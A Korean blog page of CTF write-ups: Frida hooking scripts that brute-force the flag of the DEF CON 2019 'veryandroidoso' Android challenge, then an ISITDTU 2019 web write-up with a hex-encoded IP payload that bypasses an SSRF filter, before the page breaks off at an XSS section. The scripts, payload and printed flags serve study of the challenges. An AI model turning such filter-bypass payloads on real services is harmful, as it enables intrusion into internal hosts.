보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

apk까서 보면 입력 값을 받아서 parse 함수에 넣는다. 해당 함수는 플래그 형식인 OOO{} 사이에 16진수 형태의 문자들을 받아 총 9개의 10진수 배열로 반환해준다.
반환된 배열을 solve란 함수에 넣어준 뒤 해당 값이 참이면 문제를 풀 수 있다.


solve 함수를 보면 대충 아래와 같은 형태이다.


위와 같은 형태로 인풋으로 들어온 입력값 배열을 m0~m7의 함수를 통해 검증한다. 이 때 검증이 이루어지는 함수 구조를 보면 첫번째 인자는 인풋이고 두번째 인자와 같은 경우 scramble,getSecretNumber 함수의 반환 값이 들어간다. 위 코드 구조상 두번째 인자 값이 고정되어 있으면 간단히 브포를 통해 각 자리수를 구할 수 있는 상황이었다. 


public static int getSecretNumber(int i) {

        PackageInfo packageInfo;

        CertificateFactory instance;

        X509Certificate x509Certificate;

        try {

            packageInfo = cc.getPackageManager().getPackageInfo(cc.getPackageName(), 64);

        } catch (NameNotFoundException e) {

            e.printStackTrace();

            packageInfo = null;

        }

        InputStream byteArrayInputStream = new ByteArrayInputStream(packageInfo.signatures[0].toByteArray());

        try {

            instance = CertificateFactory.getInstance("X509");

        } catch (CertificateException e2) {

            e2.printStackTrace();

            instance = null;

        }

        try {

            x509Certificate = (X509Certificate) instance.generateCertificate(byteArrayInputStream);

        } catch (CertificateException e22) {

            e22.printStackTrace();

            x509Certificate = null;

        }

        try {

            MessageDigest instance2 = MessageDigest.getInstance("SHA256");

            int[] iArr = new int[256];

            for (int i2 = 0; i2 < 8; i2++) {

                byte[] encoded = x509Certificate.getEncoded();

                encoded[i2] = (byte) 33;

                encoded = instance2.digest(encoded);

                for (int i3 = 0; i3 < encoded.length; i3++) {

                    byte b = encoded[i3];

                    if (b < (byte) 0) {

                        b += 256;

                    }

                    if (b == (byte) 0) {

                        b = (byte) 1;

                    }

                    iArr[(i2 * 32) + i3] = b;

                }

            }

            return iArr[i];

        } catch (int i4) {

            i4.printStackTrace();

            i4 = 2 / 0;

            return 0;

        } catch (int i42) {

            i42.printStackTrace();

            i42 = 2 / 0;

            return 0;

        }

    }

    public static int scramble(int i) {

        int sleep = ((int) sleep(500)) - 499;

        return ((i + ((int) Math.round(Math.sqrt((double) ((sleep * 4) * sleep)) / ((double) sleep)))) + 321) % 256;

    }

scramble,getSecretNumber 함수는 위와 같은 코드였는데 뭔가 딱봤을때는 랜덤한 값이 나올것같았는게 프리다로 반복문 돌려서 찍어보니까 인풋이 같으면 동일한 리턴이 나왔다.첨엔 m0~m7 함수를 아이다에서 확인한 담에 파이썬코드로 변환해서 브포돌리거나 역연산짜거나 할려다 그냥 프리다로 후킹해서 브포돌리면 편할것 같아서 프리다를 사용했다.

exploit.py



import sys

import frida



def on_message(message, data):

    print "[%s] -> %s" % (message, data)


jscode = """

     Java.perform(function () {

        var m_table = []

        m_table[0] = [100,190,88,240,97,216,47,243,39,18,173,144,157,114,116,250,152,150,196,175,28,179,23,213,73,66,20,228,67,200,156,7,221,210,50,233,110,32,71,194,117,220,43,113,148,247,217,185,41,177,239,12,232,101,82,178,128,191,42,172,136,81,115,251,69,89,139,48,129,63,154,125,242,95,132,143,102,29,199,10,146,79,225,149,236,245,56,105,27,235,162,201,193,208,104,96,209,155,34,68,202,169,49,13,134,45,226,255,14,52,33,62,44,186,6,121,21,244,131,64,111,123,248,124,36,9,58,112,222,130,254,120,75,224,76,145,80,231,198,219,182,24,126,40,246,192,78,166,140,158,223,57,207,90,161,54,38,252,72,203,70,85,171,107,98,4,51,188,238,15,147,237,65,214,99,183,22,5,92,141,184,30,108,60,135,118,127,205,133,159,19,197,74,17,59,138,195,119,8,25,206,55,106,91,160,122,218,37,181,211,212,234,241,46,77,170,11,109,16,249,168,230,215,174,204,164,2,253,94,31,189,35,153,180,103,142,1,137,187,84,165,26,87,93,83,86,0,151,3,167,53,176,227,163,229,61]

        m_table[1] = [29,131,174,82,200,183,179,143,182,216,9,79,44,203,167,6,135,62,4,58,242,84,72,175,171,126,140,188,18,250,114,205,137,142,16,163,159,24,105,154,186,209,169,116,138,206,57,219,132,234,129,127,247,28,49,178,5,37,93,148,25,238,118,50,166,102,146,231,81,86,201,33,197,181,155,133,85,224,176,208,170,99,40,38,204,194,74,222,144,145,212,161,141,7,123,92,26,185,101,119,223,164,31,172,249,43,88,8,19,61,241,76,157,47,111,130,60,120,252,90,117,207,192,189,158,23,253,199,80,106,41,160,221,233,71,0,36,32,230,246,52,248,147,150,95,87,104,34,232,229,202,63,66,39,168,108,139,22,244,75,190,98,124,237,77,193,149,11,100,240,227,42,121,162,55,215,165,48,67,211,35,56,70,54,78,14,45,187,89,184,213,255,27,96,1,69,122,125,110,217,228,91,156,113,243,65,196,64,3,128,109,12,153,173,53,94,68,97,152,151,2,73,107,236,17,46,112,177,10,103,225,254,136,245,13,218,115,239,195,214,180,134,83,30,59,20,51,235,191,226,15,21,251,210,198,220]

        m_table[2] = [255,30,98,78,198,151,15,171,92,236,93,136,206,220,56,156,54,50,82,112,123,14,77,12,184,214,208,145,66,40,52,224,213,134,227,250,22,114,79,143,10,55,174,28,85,221,154,248,84,175,168,144,11,32,64,207,147,58,176,111,108,142,216,187,110,195,5,219,72,235,49,120,232,46,155,23,27,185,233,57,170,18,71,203,88,196,140,223,109,131,103,26,251,48,180,83,106,115,130,16,133,44,164,241,182,70,204,9,218,107,179,188,6,160,190,13,209,230,119,197,226,124,121,240,80,163,97,38,149,94,202,243,193,238,167,138,148,17,3,51,127,210,62,205,239,126,169,63,95,228,199,186,81,53,152,67,125,0,153,99,150,25,217,229,102,69,246,90,117,244,60,178,73,234,2,181,75,20,24,21,8,35,141,165,201,237,96,211,129,159,19,189,135,158,33,104,91,116,177,47,247,137,122,173,59,113,29,245,242,128,39,86,192,252,37,61,89,200,157,68,225,139,1,254,36,146,162,42,45,166,172,65,231,31,105,222,43,212,118,34,215,74,87,253,194,249,100,41,76,101,4,191,132,183,7,161]

        m_table[3] = [1,223,134,163,178,59,65,116,117,17,224,122,99,85,52,63,206,131,204,32,40,177,132,133,92,101,97,230,106,144,30,73,0,153,192,107,44,123,86,233,62,164,118,80,71,179,197,184,29,108,4,58,244,235,8,209,41,28,150,199,14,94,45,203,159,51,212,222,183,157,95,66,142,34,185,61,74,26,161,39,55,248,16,180,191,247,25,129,91,54,181,88,207,193,5,216,231,121,211,174,167,255,227,176,82,137,12,38,198,109,152,250,126,169,187,33,253,87,173,221,46,182,24,84,228,239,75,19,72,112,208,251,220,254,90,218,2,64,246,50,114,156,168,160,148,68,242,130,113,171,139,76,23,49,138,6,225,241,11,213,48,196,110,146,119,202,69,237,22,93,175,154,102,120,21,57,140,9,141,162,190,60,53,205,136,158,105,145,166,115,249,77,252,70,78,226,217,37,111,127,27,243,195,128,186,83,229,96,89,81,189,219,210,15,194,147,10,245,165,98,155,240,43,214,188,232,236,201,42,125,143,100,215,103,67,36,3,47,13,124,172,20,238,7,234,135,18,151,79,149,31,56,200,104,170,35]

        m_table[4] = [144,158,58,155,10,130,143,78,170,39,110,250,246,7,214,235,25,202,157,89,237,131,52,233,161,245,181,184,116,26,254,159,244,101,186,248,72,70,142,205,168,134,173,3,54,222,51,104,123,34,206,2,188,73,95,11,20,38,69,113,179,183,192,30,99,215,129,6,24,133,198,98,49,92,66,106,154,118,164,145,177,121,190,84,59,172,149,75,23,151,207,19,8,15,247,37,167,255,102,226,135,100,18,176,171,4,105,111,251,9,219,88,93,213,169,16,229,57,61,35,65,238,141,216,199,182,22,230,200,42,76,225,74,166,147,242,50,103,68,193,67,28,243,162,194,45,43,17,124,31,55,21,47,197,126,122,196,136,204,79,132,32,91,140,234,236,195,125,12,109,185,0,64,137,53,241,178,138,127,112,160,71,87,48,56,120,240,175,40,150,114,119,221,146,201,228,224,44,152,227,86,156,212,62,80,96,208,63,253,108,203,165,115,128,90,210,153,1,85,41,83,13,148,232,27,97,60,107,189,218,187,211,191,163,139,239,77,209,29,223,94,117,82,81,14,217,5,33,174,180,252,231,220,36,46,249]

        m_table[6] = [6,112,67,152,88,74,161,124,42,100,247,70,226,19,215,61,141,186,190,129,24,255,173,131,23,180,25,27,33,84,237,245,30,45,8,122,126,133,234,114,185,89,97,203,125,10,90,213,71,99,172,196,224,208,251,206,209,142,91,239,174,176,94,0,4,75,167,222,205,146,156,108,240,199,76,238,18,51,63,228,113,16,158,182,183,69,110,9,65,120,249,204,81,233,34,62,220,216,166,162,57,13,78,192,159,7,191,171,17,188,211,218,168,246,135,128,56,225,140,232,231,107,14,11,58,153,136,201,60,36,132,243,111,73,163,144,164,39,236,137,77,160,47,241,87,66,200,223,170,250,37,103,92,157,96,105,217,28,139,53,93,82,179,130,195,35,2,26,59,229,101,116,147,109,40,44,214,184,235,80,154,79,21,43,119,207,193,104,102,244,22,85,68,106,202,151,254,41,145,15,98,219,49,117,143,5,48,72,86,20,198,12,253,248,1,118,242,177,29,175,148,227,121,115,50,134,123,3,83,38,194,54,230,127,210,64,189,165,149,181,252,212,32,95,187,155,150,55,178,46,221,169,31,52,138,197]

        m_table[7] = [208,168,97,242,78,60,100,128,232,152,127,115,253,36,174,209,181,159,88,165,19,212,211,111,26,12,229,43,8,136,199,240,135,178,44,48,82,125,254,195,173,207,121,233,68,84,52,215,137,158,154,69,186,133,51,180,80,126,144,226,40,2,66,38,244,171,67,118,57,247,112,18,138,231,202,73,201,179,85,119,116,141,90,161,238,162,204,224,81,103,214,203,198,184,92,147,105,221,11,134,70,95,27,166,24,71,185,46,172,237,39,123,76,91,228,108,74,206,87,197,50,35,15,25,7,164,219,130,54,188,213,120,61,250,189,217,241,230,55,246,192,96,94,89,218,245,176,98,75,102,194,47,101,58,132,182,234,190,223,45,150,107,86,64,20,49,23,210,251,21,59,72,104,53,155,113,106,131,6,14,3,255,17,225,143,28,167,93,196,16,129,65,200,41,29,235,149,30,169,79,33,32,5,160,110,175,1,140,109,170,183,42,99,63,157,117,151,56,124,236,177,216,156,227,4,248,37,0,9,220,31,243,148,77,114,145,10,13,139,249,252,22,122,193,34,83,222,191,62,239,205,187,163,146,142,153]

        m_table[8] = [74,42,108,90,10,82,182,2,156,188,147,187,66,137,18,140,44,115,26,64,255,229,204,50,153,53,30,101,161,145,136,155,159,78,11,142,131,226,68,233,109,62,88,99,94,19,114,100,39,138,237,144,143,98,251,246,146,33,199,91,171,195,200,192,126,248,38,35,29,205,230,71,166,176,239,197,6,217,25,209,241,152,202,93,117,13,228,86,80,207,96,21,48,196,224,102,58,149,133,89,232,157,106,125,132,7,63,60,165,254,9,116,59,208,216,111,173,105,84,201,151,253,123,220,69,225,236,24,22,242,16,194,31,110,193,36,20,61,150,167,162,184,190,127,72,234,172,141,175,54,8,174,5,206,168,45,67,43,148,250,51,87,103,81,119,73,189,163,214,178,221,227,4,23,130,240,120,55,177,85,243,247,249,180,231,52,223,218,183,34,46,128,70,77,65,32,97,203,49,95,219,56,185,215,15,124,37,238,12,210,1,244,76,57,211,129,75,28,212,3,113,121,107,169,92,170,135,154,181,41,213,222,112,164,252,0,134,27,14,40,118,245,235,191,104,17,79,186,198,179,83,158,139,47,122,160]

   

        var SolverClass = Java.use("ooo.defcon2019.quals.veryandroidoso.Solver");

        function getScrambleNumber()

        {

            var scramble_param = 13;

            var SolverClass = Java.use("ooo.defcon2019.quals.veryandroidoso.Solver");

            var resultArray = [];

            for (var i=0; i<9; i++){

                if (i==5){

                    resultArray[i]=0;

                    continue;

                }

                if (i==8){

                    scramble_param += 190;

                }

                scramble_param = SolverClass.scramble(scramble_param);

                resultArray[i]=scramble_param;

            }

            return resultArray;

        }


        function bruteFlag(){

            var SolverClass = Java.use("ooo.defcon2019.quals.veryandroidoso.Solver");

            var correctNumberArray = [172,6,146,97,130,65,236,142,103]

            var xorArray = [255,255,251,247,202,65,255,255,255]

            for (var i=0; i<correctNumberArray.length; i++){

                var result = "";

                for (var j=0; j<256; j++){

                    if (i==5){

                        if ((j&xorArray[i]) == correctNumberArray[i]){

                            result += j + ","

                        }

                    }

                    else {

                        if ((SolverClass["m"+i](j,SolverClass.getSecretNumber(ScrambleNumberArray[i]))&xorArray[i]) == correctNumberArray[i]){

                            result += m_table[i].indexOf(j) + ","

                        }

                    }

                }

                console.log("Find " + i + "th String = " + result);

            }

        }


        var ScrambleNumberArray = getScrambleNumber();

        bruteFlag();


});

"""

process_name = "ooo.defcon2019.quals.veryandroidoso"

session = frida.get_usb_device().attach(process_name)

script = session.create_script(jscode)

script.on('message', on_message)

script.load()

sys.stdin.read()


코드를 돌려보면 1~8까지 인풋에 대해서는 만족하는 값이 아래와 같은 형태로 쭉 나왔는데 이상하게 마지막 9번째 값이 계속 안나왔다.


Find 0th String = 250

Find 1th String = 180

Find 2th String = 254,52

Find 3th String = 22,176

Find 4th String = 221,244,147,102,238,63,247,49,145,254,72,136,118,203,120,74

Find 5th String = 65,67,69,71,73,75,77,79,81,83,85,87,89,91,93,95,97,99,101,103,105,107,109,111,113,115,117,119,121,123,125,127,193,195,197,199,201,203,205,207,209,211,213,215,217,219,221,223,225,227,229,231,233,235,237,239,241,243,245,247,249,251,253,255

Find 6th String = 68

Find 7th String = 190

뭔가 이상해서 코드를 좀 자세히 보니 아래와 같이 마지막 인풋을 검증하기 전에 1~8번째 값을 가지고 m9함수를 호출하는걸 볼 수 있었다.

해당 함수와 같은 경우 아이다에서 분석해보려고 보니 디버깅 없이 정적분석으로는 분석이 잘안되서 그냥 위에서 구한 1~8 값에 대한 모든 케이스를 가지고 m9 함수 호출 후 마지막 9번째 input을 검증하는 형태의 브포 코드를 짰다.

첨엔 1~8 값에 대한 경우의수 4096*255 = 1044480 , 총 1044480번의 후킹을 해야해서 이게 값이 뽑힐까 했는데 막상 돌려보니 후킹속도가 엄청 빨라서 금방 뽑혔다.

최종적으로 사용한 익스코드는 아래와 같다.

getInputCase.py


import sys

import frida



def on_message(message, data):

    print "[%s] -> %s" % (message, data)


jscode = """

     Java.perform(function () {

        var m_table = []

        m_table[0] = [100,190,88,240,97,216,47,243,39,18,173,144,157,114,116,250,152,150,196,175,28,179,23,213,73,66,20,228,67,200,156,7,221,210,50,233,110,32,71,194,117,220,43,113,148,247,217,185,41,177,239,12,232,101,82,178,128,191,42,172,136,81,115,251,69,89,139,48,129,63,154,125,242,95,132,143,102,29,199,10,146,79,225,149,236,245,56,105,27,235,162,201,193,208,104,96,209,155,34,68,202,169,49,13,134,45,226,255,14,52,33,62,44,186,6,121,21,244,131,64,111,123,248,124,36,9,58,112,222,130,254,120,75,224,76,145,80,231,198,219,182,24,126,40,246,192,78,166,140,158,223,57,207,90,161,54,38,252,72,203,70,85,171,107,98,4,51,188,238,15,147,237,65,214,99,183,22,5,92,141,184,30,108,60,135,118,127,205,133,159,19,197,74,17,59,138,195,119,8,25,206,55,106,91,160,122,218,37,181,211,212,234,241,46,77,170,11,109,16,249,168,230,215,174,204,164,2,253,94,31,189,35,153,180,103,142,1,137,187,84,165,26,87,93,83,86,0,151,3,167,53,176,227,163,229,61]

        m_table[1] = [29,131,174,82,200,183,179,143,182,216,9,79,44,203,167,6,135,62,4,58,242,84,72,175,171,126,140,188,18,250,114,205,137,142,16,163,159,24,105,154,186,209,169,116,138,206,57,219,132,234,129,127,247,28,49,178,5,37,93,148,25,238,118,50,166,102,146,231,81,86,201,33,197,181,155,133,85,224,176,208,170,99,40,38,204,194,74,222,144,145,212,161,141,7,123,92,26,185,101,119,223,164,31,172,249,43,88,8,19,61,241,76,157,47,111,130,60,120,252,90,117,207,192,189,158,23,253,199,80,106,41,160,221,233,71,0,36,32,230,246,52,248,147,150,95,87,104,34,232,229,202,63,66,39,168,108,139,22,244,75,190,98,124,237,77,193,149,11,100,240,227,42,121,162,55,215,165,48,67,211,35,56,70,54,78,14,45,187,89,184,213,255,27,96,1,69,122,125,110,217,228,91,156,113,243,65,196,64,3,128,109,12,153,173,53,94,68,97,152,151,2,73,107,236,17,46,112,177,10,103,225,254,136,245,13,218,115,239,195,214,180,134,83,30,59,20,51,235,191,226,15,21,251,210,198,220]

        m_table[2] = [255,30,98,78,198,151,15,171,92,236,93,136,206,220,56,156,54,50,82,112,123,14,77,12,184,214,208,145,66,40,52,224,213,134,227,250,22,114,79,143,10,55,174,28,85,221,154,248,84,175,168,144,11,32,64,207,147,58,176,111,108,142,216,187,110,195,5,219,72,235,49,120,232,46,155,23,27,185,233,57,170,18,71,203,88,196,140,223,109,131,103,26,251,48,180,83,106,115,130,16,133,44,164,241,182,70,204,9,218,107,179,188,6,160,190,13,209,230,119,197,226,124,121,240,80,163,97,38,149,94,202,243,193,238,167,138,148,17,3,51,127,210,62,205,239,126,169,63,95,228,199,186,81,53,152,67,125,0,153,99,150,25,217,229,102,69,246,90,117,244,60,178,73,234,2,181,75,20,24,21,8,35,141,165,201,237,96,211,129,159,19,189,135,158,33,104,91,116,177,47,247,137,122,173,59,113,29,245,242,128,39,86,192,252,37,61,89,200,157,68,225,139,1,254,36,146,162,42,45,166,172,65,231,31,105,222,43,212,118,34,215,74,87,253,194,249,100,41,76,101,4,191,132,183,7,161]

        m_table[3] = [1,223,134,163,178,59,65,116,117,17,224,122,99,85,52,63,206,131,204,32,40,177,132,133,92,101,97,230,106,144,30,73,0,153,192,107,44,123,86,233,62,164,118,80,71,179,197,184,29,108,4,58,244,235,8,209,41,28,150,199,14,94,45,203,159,51,212,222,183,157,95,66,142,34,185,61,74,26,161,39,55,248,16,180,191,247,25,129,91,54,181,88,207,193,5,216,231,121,211,174,167,255,227,176,82,137,12,38,198,109,152,250,126,169,187,33,253,87,173,221,46,182,24,84,228,239,75,19,72,112,208,251,220,254,90,218,2,64,246,50,114,156,168,160,148,68,242,130,113,171,139,76,23,49,138,6,225,241,11,213,48,196,110,146,119,202,69,237,22,93,175,154,102,120,21,57,140,9,141,162,190,60,53,205,136,158,105,145,166,115,249,77,252,70,78,226,217,37,111,127,27,243,195,128,186,83,229,96,89,81,189,219,210,15,194,147,10,245,165,98,155,240,43,214,188,232,236,201,42,125,143,100,215,103,67,36,3,47,13,124,172,20,238,7,234,135,18,151,79,149,31,56,200,104,170,35]

        m_table[4] = [144,158,58,155,10,130,143,78,170,39,110,250,246,7,214,235,25,202,157,89,237,131,52,233,161,245,181,184,116,26,254,159,244,101,186,248,72,70,142,205,168,134,173,3,54,222,51,104,123,34,206,2,188,73,95,11,20,38,69,113,179,183,192,30,99,215,129,6,24,133,198,98,49,92,66,106,154,118,164,145,177,121,190,84,59,172,149,75,23,151,207,19,8,15,247,37,167,255,102,226,135,100,18,176,171,4,105,111,251,9,219,88,93,213,169,16,229,57,61,35,65,238,141,216,199,182,22,230,200,42,76,225,74,166,147,242,50,103,68,193,67,28,243,162,194,45,43,17,124,31,55,21,47,197,126,122,196,136,204,79,132,32,91,140,234,236,195,125,12,109,185,0,64,137,53,241,178,138,127,112,160,71,87,48,56,120,240,175,40,150,114,119,221,146,201,228,224,44,152,227,86,156,212,62,80,96,208,63,253,108,203,165,115,128,90,210,153,1,85,41,83,13,148,232,27,97,60,107,189,218,187,211,191,163,139,239,77,209,29,223,94,117,82,81,14,217,5,33,174,180,252,231,220,36,46,249]

        m_table[6] = [6,112,67,152,88,74,161,124,42,100,247,70,226,19,215,61,141,186,190,129,24,255,173,131,23,180,25,27,33,84,237,245,30,45,8,122,126,133,234,114,185,89,97,203,125,10,90,213,71,99,172,196,224,208,251,206,209,142,91,239,174,176,94,0,4,75,167,222,205,146,156,108,240,199,76,238,18,51,63,228,113,16,158,182,183,69,110,9,65,120,249,204,81,233,34,62,220,216,166,162,57,13,78,192,159,7,191,171,17,188,211,218,168,246,135,128,56,225,140,232,231,107,14,11,58,153,136,201,60,36,132,243,111,73,163,144,164,39,236,137,77,160,47,241,87,66,200,223,170,250,37,103,92,157,96,105,217,28,139,53,93,82,179,130,195,35,2,26,59,229,101,116,147,109,40,44,214,184,235,80,154,79,21,43,119,207,193,104,102,244,22,85,68,106,202,151,254,41,145,15,98,219,49,117,143,5,48,72,86,20,198,12,253,248,1,118,242,177,29,175,148,227,121,115,50,134,123,3,83,38,194,54,230,127,210,64,189,165,149,181,252,212,32,95,187,155,150,55,178,46,221,169,31,52,138,197]

        m_table[7] = [208,168,97,242,78,60,100,128,232,152,127,115,253,36,174,209,181,159,88,165,19,212,211,111,26,12,229,43,8,136,199,240,135,178,44,48,82,125,254,195,173,207,121,233,68,84,52,215,137,158,154,69,186,133,51,180,80,126,144,226,40,2,66,38,244,171,67,118,57,247,112,18,138,231,202,73,201,179,85,119,116,141,90,161,238,162,204,224,81,103,214,203,198,184,92,147,105,221,11,134,70,95,27,166,24,71,185,46,172,237,39,123,76,91,228,108,74,206,87,197,50,35,15,25,7,164,219,130,54,188,213,120,61,250,189,217,241,230,55,246,192,96,94,89,218,245,176,98,75,102,194,47,101,58,132,182,234,190,223,45,150,107,86,64,20,49,23,210,251,21,59,72,104,53,155,113,106,131,6,14,3,255,17,225,143,28,167,93,196,16,129,65,200,41,29,235,149,30,169,79,33,32,5,160,110,175,1,140,109,170,183,42,99,63,157,117,151,56,124,236,177,216,156,227,4,248,37,0,9,220,31,243,148,77,114,145,10,13,139,249,252,22,122,193,34,83,222,191,62,239,205,187,163,146,142,153]

        m_table[8] = [74,42,108,90,10,82,182,2,156,188,147,187,66,137,18,140,44,115,26,64,255,229,204,50,153,53,30,101,161,145,136,155,159,78,11,142,131,226,68,233,109,62,88,99,94,19,114,100,39,138,237,144,143,98,251,246,146,33,199,91,171,195,200,192,126,248,38,35,29,205,230,71,166,176,239,197,6,217,25,209,241,152,202,93,117,13,228,86,80,207,96,21,48,196,224,102,58,149,133,89,232,157,106,125,132,7,63,60,165,254,9,116,59,208,216,111,173,105,84,201,151,253,123,220,69,225,236,24,22,242,16,194,31,110,193,36,20,61,150,167,162,184,190,127,72,234,172,141,175,54,8,174,5,206,168,45,67,43,148,250,51,87,103,81,119,73,189,163,214,178,221,227,4,23,130,240,120,55,177,85,243,247,249,180,231,52,223,218,183,34,46,128,70,77,65,32,97,203,49,95,219,56,185,215,15,124,37,238,12,210,1,244,76,57,211,129,75,28,212,3,113,121,107,169,92,170,135,154,181,41,213,222,112,164,252,0,134,27,14,40,118,245,235,191,104,17,79,186,198,179,83,158,139,47,122,160]

   

        var SolverClass = Java.use("ooo.defcon2019.quals.veryandroidoso.Solver");

        function getScrambleNumber()

        {

            var scramble_param = 13;

            var SolverClass = Java.use("ooo.defcon2019.quals.veryandroidoso.Solver");

            var resultArray = [];

            for (var i=0; i<9; i++){

                if (i==5){

                    resultArray[i]=0;

                    continue;

                }

                if (i==8){

                    scramble_param += 190;

                }

                scramble_param = SolverClass.scramble(scramble_param);

                resultArray[i]=scramble_param;

            }

            return resultArray;

        }


        function bruteFlag(){

            var SolverClass = Java.use("ooo.defcon2019.quals.veryandroidoso.Solver");

            var correctNumberArray = [172,6,146,97,130,65,236,142,103]

            var xorArray = [255,255,251,247,202,65,255,255,255]

            for (var i=0; i<correctNumberArray.length; i++){

                var result = "";

                for (var j=0; j<256; j++){

                    if (i==5){

                        if ((j&xorArray[i]) == correctNumberArray[i]){

                            result += j + ","

                        }

                    }

                    else {

                        if ((SolverClass["m"+i](j,SolverClass.getSecretNumber(ScrambleNumberArray[i]))&xorArray[i]) == correctNumberArray[i]){

                            result += m_table[i].indexOf(j) + ","

                        }

                    }

                }

                console.log("Find " + i + "th String = " + result);

            }

        }


        var ScrambleNumberArray = getScrambleNumber();

        bruteFlag();


});

"""

process_name = "ooo.defcon2019.quals.veryandroidoso"

session = frida.get_usb_device().attach(process_name)

script = session.create_script(jscode)

script.on('message', on_message)

script.load()

sys.stdin.read()

 

findFlag.py


import sys

import frida



def on_message(message, data):

    print "[%s] -> %s" % (message, data)


jscode = """

     Java.perform(function () {

        var lastNumberList = [74,42,108,90,10,82,182,2,156,188,147,187,66,137,18,140,44,115,26,64,255,229,204,50,153,53,30,101,161,145,136,155,159,78,11,142,131,226,68,233,109,62,88,99,94,19,114,100,39,138,237,144,143,98,251,246,146,33,199,91,171,195,200,192,126,248,38,35,29,205,230,71,166,176,239,197,6,217,25,209,241,152,202,93,117,13,228,86,80,207,96,21,48,196,224,102,58,149,133,89,232,157,106,125,132,7,63,60,165,254,9,116,59,208,216,111,173,105,84,201,151,253,123,220,69,225,236,24,22,242,16,194,31,110,193,36,20,61,150,167,162,184,190,127,72,234,172,141,175,54,8,174,5,206,168,45,67,43,148,250,51,87,103,81,119,73,189,163,214,178,221,227,4,23,130,240,120,55,177,85,243,247,249,180,231,52,223,218,183,34,46,128,70,77,65,32,97,203,49,95,219,56,185,215,15,124,37,238,12,210,1,244,76,57,211,129,75,28,212,3,113,121,107,169,92,170,135,154,181,41,213,222,112,164,252,0,134,27,14,40,118,245,235,191,104,17,79,186,198,179,83,158,139,47,122,160]

        var SolverClass = Java.use("ooo.defcon2019.quals.veryandroidoso.Solver");

        var dic1 = [52, 254]

        var dic2 = [22, 176]

        var dic3 = [221, 244, 147, 102, 238, 63, 247, 49, 145, 254, 72, 136, 118, 203, 120, 74]

        var dic4 = [65, 67, 69, 71, 73, 75, 77, 79, 81, 83, 85, 87, 89, 91, 93, 95, 97, 99, 101, 103, 105, 107, 109, 111, 113, 115, 117, 119, 121, 123, 125, 127, 193, 195, 197, 199, 201, 203, 205, 207, 209, 211, 213, 215, 217, 219, 221, 223, 225, 227, 229, 231, 233, 235, 237, 239, 241, 243, 245, 247, 249, 251, 253, 255]

        for(var i=0; i<dic1.length; i++){

            for(var j=0; i<dic2.length; j++){

                for(var k=0; i<dic3.length; k++){

                    for(var p=0; p<dic4.length; p++){

                        var result = [250,180,dic1[i],dic2[j],dic3[k],dic4[p],68,190,0]

                        SolverClass.m9((((((result[0] + result[1]) + result[2]) + result[3]) + result[4]) + result[5]) + (result[6] * result[7]))

                        for (var n=0; n<256; n++){

                            if ((SolverClass.m8(n,23)&255) == 103){

                                result[8] = lastNumberList.indexOf(n);

                                if (((((((((SolverClass.getSecretNumber(result[0])) * (SolverClass.getSecretNumber(result[1]))) * (SolverClass.getSecretNumber(result[2]))) * (SolverClass.getSecretNumber(result[3]))) * (SolverClass.getSecretNumber(result[4]))) * (SolverClass.getSecretNumber(result[5]))) * (SolverClass.getSecretNumber(result[6]))) + (result[7]) + (SolverClass.getSecretNumber(result[8]))) % 144 == 37){

                                    var findFlag = "";

                                    for (var a=0; a<result.length; a++){

                                        findFlag += result[a].toString(16);

                                    }


                                    console.log("Find Flag = OOO{" + findFlag + "}");

                                }

                            }

                        }

                    }

                }

            }

        }



});

"""

process_name = "ooo.defcon2019.quals.veryandroidoso"

session = frida.get_usb_device().attach(process_name)

script = session.create_script(jscode)

script.on('message', on_message)

script.load()

sys.stdin.read()

 

Find Flag = OOO{fab43416484944beba}













'CTF > Writeup' 카테고리의 다른 글

2019 사이버작전 경연대회 THE CAMP  (0) 2019.08.17
DEF CON CTF Qualifier 2019 vitor  (0) 2019.07.15
ISITDTU CTF 2019 Web Write up  (0) 2019.07.01
Google CTF 2019 Quals bnv  (0) 2019.06.24
Security Fest 2019 CTF Darkwebmessageboard  (0) 2019.05.24
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

해당 대회는 참여를 못해서 대회 끝나고 웹 문제가 열려있길래 풀어봤다.


Rosé Garden


문제에 들어가보면 아래와 같이 SSRF로 보이는 기능하나가 보인다. 근데 이 기능만 가지고 뭐 터트려보려고 하면 아무것도 안된다. 여기서 좀 헤매다 robots.txt 보니까 소스가 있길래 다운받아보니 아래와 같았다.


app.py


#!/usr/bin/env python

from flask import Flask, render_template, request, send_from_directory, abort

from concurrent.futures import ThreadPoolExecutor

from urllib.parse import urlparse

from socket import inet_aton


import requests

import asyncio


app = Flask(__name__)

app.jinja_env.lstrip_blocks = True

app.jinja_env.trim_blocks = True


async def check_func(hostname, port):

    try:

        if len(hostname.split('.')) != 4: 0/0


        if '127.' in hostname or '.0.' in hostname or '.1' in hostname: 0/0


        if inet_aton(hostname) != b'\x7f\x00\x00\x01': 0/0


        if not port: port = 80

        

        result = []

        with ThreadPoolExecutor(max_workers=3) as executor:

            loop = asyncio.get_event_loop()

            tasks = [

                loop.run_in_executor(

                    executor,

                    lambda u: requests.get(u, allow_redirects=False, timeout=2),

                    url

                ) for url in [f'http://{hostname}:{port}', 'http://127.0.0.1:3333']

            ]

            for res in await asyncio.gather(*tasks):

                result.append(res.text)

    except:

        return False


    return result[1] if result[0] == result[1] else False


@app.route('/<path:path>')

def send_static(path):

    return send_from_directory('static', path)


@app.route('/')

def index():

    return render_template('index.html')


@app.route('/request', methods=['GET', 'POST'])

def request_page():

    if 'url' in request.form and request.form['url']:

        url = request.form['url']

        if url[:7] != 'http://':

            url = 'http://' + url


        host_info = urlparse(url)._hostinfo


        asyncio.set_event_loop(asyncio.new_event_loop())

        loop = asyncio.get_event_loop()

        FLAG = loop.run_until_complete( asyncio.ensure_future( check_func(*host_info) ) )

        if FLAG:

            return render_template('request.html', flag=FLAG)

        else:

            return render_template('request.html', error=True)


    return render_template('request.html')


if __name__ == '__main__':

    app.run(host='0.0.0.0', port=80, debug=False)




def check_func 함수 내부의 필터링 로직이 존재한다.


127.0.0.1:3333에 접근해야 하는데 아래 코드로 인해 필터링을 당하고있다.


if '127.' in hostname or '.0.' in hostname or '.1' in hostname: 0/0


if inet_aton(hostname) != b'\x7f\x00\x00\x01': 0/0


ip를 10진수대신 16진수로 대체해주면 해당 필터가 우회된다.


payload = http://0x7f.0x0.0x0.0x1:3333


Flag = ISITDTU{warmup task is not that hard}


XSS Game 1


문제에 들어가보면 간단한 Reflectd XSS가 터지는 기능이 하나 나온다. 


취약점이 터지는 코드는 아래와 같다.


/*** We prevent change the location ***:

